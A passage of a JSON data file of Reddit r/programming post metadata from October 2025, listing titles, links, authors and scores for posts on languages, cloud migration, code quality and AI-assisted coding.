    "url": "https://open.substack.com/pub/thehustlingengineer/p/8-lessons-i-learned-the-hard-way?r=yznlc&utm_medium=ios",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1obh0br",
  "url": "https://cekrem.github.io/posts/elm-book-announcement/",
  "permalink": "https://www.reddit.com/r/programming/comments/1obh0br/why_elm_is_the_best_way_for_react_developers_to/",
  "title": "Why Elm is the Best Way for React Developers to Learn Real Functional Programming",
  "body": null,
  "author": "cekrem",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 3,
  "createdAt": "2025-10-20T11:54:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cekrem.github.io/posts/elm-book-announcement/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oaxrdz",
  "url": "https://theaxolot.wordpress.com/2025/10/18/loc-is-a-dumb-metric-for-functions/",
  "permalink": "https://www.reddit.com/r/programming/comments/1oaxrdz/loc_is_a_dumb_metric_for_functions/",
  "title": "LoC Is a Dumb Metric for Functions",
  "body": "Hey everyone! It irks me when discussions of function cleanliness are driven by \"Lines of Code\" as a standard, so I wrote the only guide you'll ever need on when to decompose functions into smaller functions.",
  "author": "The_Axolot",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 11,
  "createdAt": "2025-10-19T18:53:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://theaxolot.wordpress.com/2025/10/18/loc-is-a-dumb-metric-for-functions/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oavl59",
  "url": "https://techtrenches.substack.com/p/the-great-software-quality-collapse",
  "permalink": "https://www.reddit.com/r/programming/comments/1oavl59/the_great_software_quality_collapse_how_we/",
  "title": "The Great Software Quality Collapse: How We Normalized Catastrophe",
  "body": null,
  "author": "corp_code_slinger",
  "subreddit": "programming",
  "score": 965,
  "upvoteRatio": 0.85,
  "numComments": 425,
  "createdAt": "2025-10-19T17:29:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://techtrenches.substack.com/p/the-great-software-quality-collapse",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oav40y",
  "url": "https://medium.com/threadsafe/6-permanent-features-in-java-25-894fa9ad3702?sk=2060eafc7a6f858d326c3ca771029e31",
  "permalink": "https://www.reddit.com/r/programming/comments/1oav40y/6_permanent_features_in_java_25_another_java_lts/",
  "title": "6 Permanent Features in Java 25 - Another Java LTS release with a bunch of new features: Scoped Values, Module Import, Flexible Constructor Bodies, and more",
  "body": null,
  "author": "zarinfam",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.57,
  "numComments": 2,
  "createdAt": "2025-10-19T17:11:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/threadsafe/6-permanent-features-in-java-25-894fa9ad3702?sk=2060eafc7a6f858d326c3ca771029e31",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oamd05",
  "url": "https://medium.com/@dr.e.rashidi/flutter-ecs-rethinking-state-management-for-flutter-apps-bd224da10881",
  "permalink": "https://www.reddit.com/r/programming/comments/1oamd05/rethinking_state_management_for_flutter_apps/",
  "title": "Rethinking State Management for Flutter Apps",
  "body": null,
  "author": "_Flame_Of_Udun_",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 0,
  "createdAt": "2025-10-19T10:35:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@dr.e.rashidi/flutter-ecs-rethinking-state-management-for-flutter-apps-bd224da10881",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o9bf34",
  "url": "https://web.dev/blog/same-document-view-transitions-are-now-baseline-newly-available?hl=en",
  "permalink": "https://www.reddit.com/r/programming/comments/1o9bf34/samedocument_view_transitions_have_become/",
  "title": "Same-document view transitions have become Baseline Newly available",
  "body": null,
  "author": "feross",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.61,
  "numComments": 1,
  "createdAt": "2025-10-17T19:55:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://web.dev/blog/same-document-view-transitions-are-now-baseline-newly-available?hl=en",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o970qc",
  "url": "https://digitalsociety.coop/posts/migrating-to-hetzner-cloud/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o970qc/migrating_from_aws_to_hetzner/",
  "title": "Migrating from AWS to Hetzner",
  "body": null,
  "author": "cheerfulboy",
  "subreddit": "programming",
  "score": 69,
  "upvoteRatio": 0.68,
  "numComments": 62,
  "createdAt": "2025-10-17T17:06:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://digitalsociety.coop/posts/migrating-to-hetzner-cloud/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o8ob82",
  "url": "https://blog.pixelmelt.dev/kindle-web-drm/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o8ob82/bypassing_amazons_kindle_web_drm_because_their/",
  "title": "Bypassing Amazon's Kindle Web DRM Because Their App Sucked",
  "body": null,
  "author": "NXGZ",
  "subreddit": "programming",
  "score": 1051,
  "upvoteRatio": 0.98,
  "numComments": 173,
  "createdAt": "2025-10-17T01:30:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.pixelmelt.dev/kindle-web-drm/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o8hn5x",
  "url": "https://buttondown.com/hillelwayne/archive/syntax-highlighting-is-a-waste-of-an-information/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o8hn5x/syntax_highlighting_is_a_waste_of_an_information/",
  "title": "Syntax highlighting is a waste of an information channel",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 15,
  "createdAt": "2025-10-16T20:40:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://buttondown.com/hillelwayne/archive/syntax-highlighting-is-a-waste-of-an-information/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o8he8u",
  "url": "https://tonsky.me/blog/syntax-highlighting/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o8he8u/i_am_sorry_but_everyone_is_getting_syntax/",
  "title": "I am sorry, but everyone is getting syntax highlighting wrong",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 20,
  "createdAt": "2025-10-16T20:30:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tonsky.me/blog/syntax-highlighting/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o86zek",
  "url": "https://kumi-play-web.fly.dev/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o86zek/i_made_a_demo_for_kumi_a_business_rules_dsl/",
  "title": "I made a demo for Kumi, a business rules DSL implemented in Ruby that compiles to a platform agnostic IR and codegens Ruby and JS modules with no runtime code.",
  "body": null,
  "author": "mutzas",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 3,
  "createdAt": "2025-10-16T14:02:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kumi-play-web.fly.dev/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o7uk9h",
  "url": "https://youtu.be/fy3jQNB0wlY",
  "permalink": "https://www.reddit.com/r/programming/comments/1o7uk9h/why_most_apps_should_start_as_monoliths/",
  "title": "Why Most Apps Should Start as Monoliths",
  "body": null,
  "author": "South-Reception-1251",
  "subreddit": "programming",
  "score": 390,
  "upvoteRatio": 0.88,
  "numComments": 131,
  "createdAt": "2025-10-16T02:27:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/fy3jQNB0wlY",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o76b9z",
  "url": "https://devcenter.upsun.com/posts/fake-ip-till-you-make-ip/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o76b9z/fake_ip_till_you_make_ip/",
  "title": "Fake IP till you make IP",
  "body": null,
  "author": "FlatwormHappy1554",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 2,
  "createdAt": "2025-10-15T09:26:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devcenter.upsun.com/posts/fake-ip-till-you-make-ip/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o729o1",
  "url": "https://prahladyeri.github.io/blog/2025/10/i-am-a-programmer.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1o729o1/i_am_a_programmer_not_a_rubberstamp_that_approves/",
  "title": "I am a programmer, not a rubber-stamp that approves Copilot generated code",
  "body": null,
  "author": "pyeri",
  "subreddit": "programming",
  "score": 1640,
  "upvoteRatio": 0.93,
  "numComments": 422,
  "createdAt": "2025-10-15T05:09:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://prahladyeri.github.io/blog/2025/10/i-am-a-programmer.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o6tew1",
  "url": "https://www.legitsecurity.com/blog/camoleak-critical-github-copilot-vulnerability-leaks-private-source-code",
  "permalink": "https://www.reddit.com/r/programming/comments/1o6tew1/camoleak_critical_github_copilot_vulnerability/",
  "title": "CamoLeak: Critical GitHub Copilot Vulnerability Leaks Private Source Code",
  "body": null,
  "author": "grauenwolf",
  "subreddit": "programming",
  "score": 452,
  "upvoteRatio": 0.96,
  "numComments": 63,
  "createdAt": "2025-10-14T22:09:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.legitsecurity.com/blog/camoleak-critical-github-copilot-vulnerability-leaks-private-source-code",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o6rbo1",
  "url": "https://medium.com/@anujbiyani/ai-development-how-clean-commits-make-pr-reviews-easier-ec33f57eda70?source=friends_link&sk=4f1308bb6693f47236fb0da87bef3454",
  "permalink": "https://www.reddit.com/r/programming/comments/1o6rbo1/how_clean_commits_make_pr_reviews_easier/",
  "title": "How Clean Commits Make PR Reviews Easier",
  "body": "It's no secret that reviewing pull requests is time consuming, and incredibly important. Speeding up reviews, and enabling higher quality reviews, should therefore be a crucial skill for all developers. However, I find the vast majority of PRs to be incredibly unfriendly to reviewers.\n\nIn [this](https://medium.com/@anujbiyani/ai-development-how-clean-commits-make-pr-reviews-easier-ec33f57eda70?source=friends_link&sk=4f1308bb6693f47236fb0da87bef3454) post I wrote about some git commands that will help you craft PRs that are much easier to review. With a bit of practice it ends up being fairly quick to execute on, and your whole team will thank you.",
  "author": "fogeyman",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.52,
  "numComments": 47,
  "createdAt": "2025-10-14T20:48:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@anujbiyani/ai-development-how-clean-commits-make-pr-reviews-easier-ec33f57eda70?source=friends_link&sk=4f1308bb6693f47236fb0da87bef3454",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o6ieoy",
  "url": "https://github.com/samber/ro",
  "permalink": "https://www.reddit.com/r/programming/comments/1o6ieoy/introducing_reactive_programming_for_go/",
  "title": "Introducing Reactive Programming for Go",
  "body": "Start writing declarative pipelines:\n\n    observable := ro.Pipe(\n       ro.RangeWithInterval(0, 10, 1*time.Second),\n       ro.Filter(func(x int) bool { return x%2 == 0 }),\n       ro.Map(func(x int) string { return fmt.Sprintf(\"even-%d\", x) }),\n    )",
  "author": "samuelberthe",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.64,
  "numComments": 5,
  "createdAt": "2025-10-14T15:20:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/samber/ro",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o6au24",
  "url": "https://digitalsociety.coop/posts/migrating-to-hetzner-cloud/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o6au24/we_saved_76_on_our_cloud_bills_while_tripling_our/",
  "title": "We saved 76% on our cloud bills while tripling our capacity by migrating to Hetzner from AWS and DigitalOcean",
  "body": null,
  "author": "hedgehogsinus",
  "subreddit": "programming",
  "score": 429,
  "upvoteRatio": 0.81,
  "numComments": 183,
  "createdAt": "2025-10-14T09:30:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://digitalsociety.coop/posts/migrating-to-hetzner-cloud/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o67ip8",
  "url": "https://larslofgren.com/codesmith-reddit-reputation-attack/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o67ip8/the_story_of_codesmith_how_a_competitor_crippled/",
  "title": "The Story of Codesmith: How a Competitor Crippled a $23.5M Bootcamp By Becoming a Reddit Moderator",
  "body": "Saw this on theprimeagen stream, thought it would be interested to share. Anyone here who did a codesmith bootcamp?",
  "author": "Happy_Junket_9540",
  "subreddit": "programming",
  "score": 872,
  "upvoteRatio": 0.95,
  "numComments": 194,
  "createdAt": "2025-10-14T05:55:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://larslofgren.com/codesmith-reddit-reputation-attack/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o5rh32",
  "url": "https://medium.com/@arnonaxelrod/proof-driven-development-or-the-business-value-of-clean-code-b84380ff312e",
  "permalink": "https://www.reddit.com/r/programming/comments/1o5rh32/tests_dont_prove_code_is_correct_they_just_agree/",
  "title": "Tests Don’t Prove Code Is Correct… They Just Agree With It",
  "body": "\n“A test isn’t proof that something is correct, it’s proof that one piece of code behaves the way another piece of code thinks it should behave.”\n\nThis thought hit me the other day while writing a few “perfectly passing” tests. I realized they weren’t actually proving anything — just confirming that my assumptions in two places matched.\n\nWhen both your implementation and your test share the same wrong assumption, everything still passes. Green checkmarks, false confidence.\n\nIt made me rethink what tests are even for. They’re not really about proving truth — more about locking down intent. A way to say, “If I ever change this behavior, I want to know.”\n\nThe tricky part is that the intent itself can be wrong.\n\nAnyway, just a random reflection from too many late nights chasing 100% coverage. Curious how you all think about it — do you see tests as validation, documentation, or just guardrails to keep chaos in check?",
  "author": "untypedfuture",
  "subreddit": "programming",
  "score": 1392,
  "upvoteRatio": 0.86,
  "numComments": 409,
  "createdAt": "2025-10-13T18:12:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@arnonaxelrod/proof-driven-development-or-the-business-value-of-clean-code-b84380ff312e",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o5nnoe",
  "url": "https://devops.com/technical-debt-make-developers-happier-now-or-pay-more-later/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o5nnoe/technical_debt_make_developers_happier_now_or_pay/",
  "title": "Technical Debt: Make Developers Happier Now or Pay More Later",
  "body": null,
  "author": "nosoyjohn",
  "subreddit": "programming",
  "score": 57,
  "upvoteRatio": 0.7,
  "numComments": 15,
  "createdAt": "2025-10-13T15:57:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devops.com/technical-debt-make-developers-happier-now-or-pay-more-later/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o5j78b",
  "url": "https://allvpv.org/haotic-journey-through-envvars/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o5j78b/environment_variables_are_a_legacy_mess_lets_dive/",
  "title": "Environment variables are a legacy mess: Let's dive deep into them",
  "body": null,
  "author": "Low-Strawberry7579",
  "subreddit": "programming",
  "score": 392,
  "upvoteRatio": 0.92,
  "numComments": 45,
  "createdAt": "2025-10-13T13:06:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://allvpv.org/haotic-journey-through-envvars/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o5huwk",
  "url": "https://medium.com/@ymz-ncnk/atomic-idempotency-why-idempotency-keys-arent-enough-for-safe-retries-8144d03863c6",
  "permalink": "https://www.reddit.com/r/programming/comments/1o5huwk/atomic_idempotency_a_practical_approach_to/",
  "title": "Atomic Idempotency: A Practical Approach to Exactly-Once Execution",
  "body": null,
  "author": "ymz-ncnk",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 15,
  "createdAt": "2025-10-13T12:06:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@ymz-ncnk/atomic-idempotency-why-idempotency-keys-arent-enough-for-safe-retries-8144d03863c6",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o5hsqh",
  "url": "https://medium.com/design-bootcamp/understanding-the-adapter-design-pattern-in-go-a-practical-guide-a595b256a08b",
  "permalink": "https://www.reddit.com/r/programming/comments/1o5hsqh/understanding_the_adapter_design_pattern_in_go_a/",
  "title": "Understanding the Adapter Design Pattern in Go: A Practical Guide",
  "body": "Hey folks,\n\nI just finished writing a deep-dive blog on the Adapter Design Pattern in Go — one of those patterns that looks simple at first, but actually saves your sanity when integrating legacy or third-party systems.\n\nThe post covers everything from the basics to practical code examples:\n\n* How to make incompatible interfaces work together without touching old code\n* When to actually use an adapter (and when not to)\n* The difference between class vs object adapters\n* Real-world examples like wrapping JSON loggers or payment APIs\n* Common anti-patterns (like “adapter hell” 😅)\n* Go-specific idioms: lightweight, interface-driven, and clean\n\nIf you’ve ever found yourself writing ugly glue code just to make two systems talk — this one’s for you.\n\n🔗 Read here: [https://medium.com/design-bootcamp/understanding-the-adapter-design-pattern-in-go-a-practical-guide-a595b256a08b](https://medium.com/design-bootcamp/understanding-the-adapter-design-pattern-in-go-a-practical-guide-a595b256a08b)\n\nWould love to hear how you handle legacy integrations or SDK mismatches in Go — do you use adapters, or go for full rewrites?",
  "author": "priyankchheda15",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 0,
  "createdAt": "2025-10-13T12:03:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/design-bootcamp/understanding-the-adapter-design-pattern-in-go-a-practical-guide-a595b256a08b",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o52hdo",
  "url": "https://youtu.be/Qgw9fjw4lcU",
  "permalink": "https://www.reddit.com/r/programming/comments/1o52hdo/the_hidden_risk_in_ai_code/",
  "title": "The Hidden Risk in AI Code",
  "body": null,
  "author": "South-Reception-1251",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 13,
  "createdAt": "2025-10-12T22:16:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/Qgw9fjw4lcU",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o4ifwl",
  "url": "https://www.youtube.com/watch?v=Q78wvrQ9xsU",
  "permalink": "https://www.reddit.com/r/programming/comments/1o4ifwl/coding_adventure_simulating_smoke/",
  "title": "Coding Adventure: Simulating Smoke",
  "body": null,
  "author": "Chii",
  "subreddit": "programming",
  "score": 446,
  "upvoteRatio": 0.96,
  "numComments": 34,
  "createdAt": "2025-10-12T07:04:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=Q78wvrQ9xsU",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o49ypb",
  "url": "https://tritium.legal/blog/update",
  "permalink": "https://www.reddit.com/r/programming/comments/1o49ypb/tritium_updating_desktop_rust/",
  "title": "Tritium | Updating Desktop Rust",
  "body": "Analyzing some considerations for updating a cross-platform application written in Rust with some thoughts on Zed's approach.",
  "author": "urandomd",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.55,
  "numComments": 3,
  "createdAt": "2025-10-11T23:25:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tritium.legal/blog/update",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o3pvk5",
  "url": "https://www.youtube.com/watch?v=tk7qTNW5g0c",
  "permalink": "https://www.reddit.com/r/programming/comments/1o3pvk5/bun_13_is_here/",
  "title": "Bun 1.3 is here",
  "body": "Bun v1.3 adds builtin Redis & MySQL clients, Node.js compatibility improvements and an incredibly fast frontend dev server.\n\n[here](https://www.youtube.com/watch?v=tk7qTNW5g0c)'s the video link if the embed doesn't work for you",
  "author": "mahdi_lky",
  "subreddit": "programming",
  "score": 331,
  "upvoteRatio": 0.78,
  "numComments": 229,
  "createdAt": "2025-10-11T08:01:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=tk7qTNW5g0c",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o30bzb",
  "url": "https://chrisza.me/react-useeffectevent/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o30bzb/i_dont_like_reacts_useeffectevent_api/",
  "title": "I don't like React's useEffectEvent Api",
  "body": null,
  "author": "chrisza4",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.62,
  "numComments": 14,
  "createdAt": "2025-10-10T13:04:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://chrisza.me/react-useeffectevent/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o2zs4g",
  "url": "https://blog.rowboatlabs.com/flowcharts-vs-handoffs-a-simple-math-framing/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o2zs4g/a_simple_math_framing_for_why_flowchartbased/",
  "title": "A simple math framing for why flowchart-based agent builders don’t scale",
  "body": null,
  "author": "Prestigious_Peak_773",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2025-10-10T12:40:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.rowboatlabs.com/flowcharts-vs-handoffs-a-simple-math-framing/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o2zarl",
  "url": "https://everydaysuperpowers.dev/articles/why-i-switched-from-htmx-to-datastar/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o2zarl/why_i_switched_from_htmx_to_datastar/",
  "title": "Why I switched from HTMX to Datastar",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.57,
  "numComments": 32,
  "createdAt": "2025-10-10T12:17:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://everydaysuperpowers.dev/articles/why-i-switched-from-htmx-to-datastar/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o2qgbu",
  "url": "https://devblogs.microsoft.com/oldnewthing/20251006-00/?p=111655",
  "permalink": "https://www.reddit.com/r/programming/comments/1o2qgbu/code_comments_should_apply_to_the_state_of_the/",
  "title": "Code comments should apply to the state of the system at the point the comment \"executes\"",
  "body": null,
  "author": "grauenwolf",
  "subreddit": "programming",
  "score": 290,
  "upvoteRatio": 0.84,
  "numComments": 138,
  "createdAt": "2025-10-10T03:37:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/oldnewthing/20251006-00/?p=111655",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o2p4l6",
  "url": "https://www.linkedin.com/feed/update/urn:li:activity:7381534536892878848/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o2p4l6/are_we_cultivating_innovation_or_technical_debt/",
  "title": "Are We Cultivating Innovation - or Technical Debt?",
  "body": "AI and programming tools have accelerated software development, but at what cost to code maintainability and team collaboration? Sharing practical insights on how AI-generated code can introduce technical debt. Read my in-depth analysis here: https://www.linkedin.com/feed/update/urn:li:activity:7381534536892878848/ Full article also available on Medium: https://medium.com/@techiewissen/are-we-cultivating-innovation-or-technical-debt-019b6a0e6e1d",
  "author": "Responsible_Lynx_712",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.6,
  "numComments": 18,
  "createdAt": "2025-10-10T02:31:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.linkedin.com/feed/update/urn:li:activity:7381534536892878848/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o27dq7",
  "url": "https://thenewstack.io/github-will-prioritize-migrating-to-azure-over-feature-development/",
